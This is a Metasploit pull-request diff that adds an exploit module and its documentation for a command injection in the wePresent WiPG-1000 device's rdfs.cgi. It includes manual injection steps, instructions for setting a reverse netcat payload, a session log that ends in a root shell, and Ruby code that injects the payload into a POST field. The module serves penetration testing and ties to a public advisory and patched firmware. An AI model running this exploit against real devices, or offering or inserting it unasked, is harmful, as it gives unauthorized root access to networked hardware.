Land #8270 exploit for wipg-1000 cmd injection

documentation/modules/exploit/linux/http/wipg1000_cmd_injection.md

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+## Vulnerable Application
+
+  This module exploits a command injection vulnerability in the [wePresent WiPG-1000](http://wepresentwifi.com/wipg1000.html) device. A description of the exploited vulnerability is available in section 3.4 of [this advisory](https://www.redguard.ch/advisories/wepresent-wipg1000.txt).
+  The latest vulnerable firmware version is 2.0.0.7. Newer versions can be downgraded to [the older firmware](http://www.wepresentwifi.com/assets/downloads/wipg1000/wePresent.1000.2.0.0.7.nad.zip).
+
+  There is no complete list of vulnerable firmware versions, however the check method can reliably detect whether a device is vulnerable. The check method checks for the presence of the `rdfs.cgi` file and whether it contains the string `https://www.redguard.ch/advisories/wepresent-wipg1000.txt`. All known versions of this file on the device are vulnerable to this command injection.
+
+  Manual exploitation would equate to browsing to the URI `http://<ip>/cgi-bin/rdfs.cgi` and entering the String `; command;` in the input field and submitting the form.
+
+  Version 2.0.0.7 was confirmed vulnerable, and firmware 2.2.3.0 was released to fix the exploit.
+
+## Verification Steps
+
+  1. Make sure the device is running.
+  2. Start msfconsole.
+  3. Do: ```use exploit/linux/http/wipg1000_cmd_injection```
+  4. Do: ```set payload cmd/unix/reverse_netcat```
+  5. Do: ```set RHOST <ip>```
+  6. Do: ```set LHOST <ip>```
+  7. Do: ```exploit```
+  8. You should get a shell.
+
+## Options
+
+  **PAYLOAD**
+
+  The `generic`,`netcat` and `openssl` payload types are valid.
+
+## Scenarios
+
+### Firmware 2.0.0.7
+
+  The following is an example run getting a shell:
+
+  ```
+  msf > use exploit/linux/http/wipg1000_cmd_injection 
+  msf exploit(wipg1000_cmd_injection) > set payload cmd/unix/reverse_netcat
+  payload => cmd/unix/reverse_netcat
+  msf exploit(wipg1000_cmd_injection) > set RHOST 192.168.3.3
+  RHOST => 192.168.3.3
+  msf exploit(wipg1000_cmd_injection) > set LHOST 192.168.3.216
+  LHOST => 192.168.3.216
+  msf exploit(wipg1000_cmd_injection) > check
+  [*] 192.168.3.3:80 The target appears to be vulnerable.
+  msf exploit(wipg1000_cmd_injection) > exploit
+
+  [*] Started reverse TCP handler on 192.168.3.216:4444 
+  [*] Sending request
+  [*] Command shell session 1 opened (192.168.3.216:4444 -> 192.168.3.3:50893) at 2017-04-20 16:11:48 +0200
+  id
+
+  uid=0(root) gid=0(root) groups=0(root),10(wheel)
+  ```

modules/exploits/linux/http/wipg1000_cmd_injection.rb

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+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'WePresent WiPG-1000 Command Injection',
+      'Description'    => %q{
+        This module exploits a command injection vulnerability in an undocumented
+        CGI file in several versions of the WePresent WiPG-1000 devices.
+        Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this vulnerability.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Matthias Brun', # Vulnerability Discovery, Metasploit Module
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'https://www.redguard.ch/advisories/wepresent-wipg1000.txt' ]
+        ],
+      'Payload'        =>
+        {
+          'Compat'     =>
+            {
+              'PayloadType' => 'cmd',
+              'RequiredCmd' => 'generic netcat openssl'
+            }
+        },
+      'Platform'       => ['unix'],
+      'Arch'           => ARCH_CMD,
+      'Targets'        =>
+        [
+          ['WiPG-1000 <=2.0.0.7', {}]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Apr 20 2017',
+      'DefaultTarget'  => 0))
+  end
+
+
+  def check
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri('/cgi-bin/rdfs.cgi')
+    })
+    if res and res.body =~ /Follow administrator instructions to enter the complete path/ then
+      return Exploit::CheckCode::Appears
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    print_status('Sending request')
+    send_request_cgi(
+      'method' => 'POST',
+      'uri'    => normalize_uri('/cgi-bin/rdfs.cgi'),
+      'vars_post' => {
+        'Client' => ";#{payload.encoded};",
+        'Download' => 'Download'
+      }
+    )
+  end
+
+end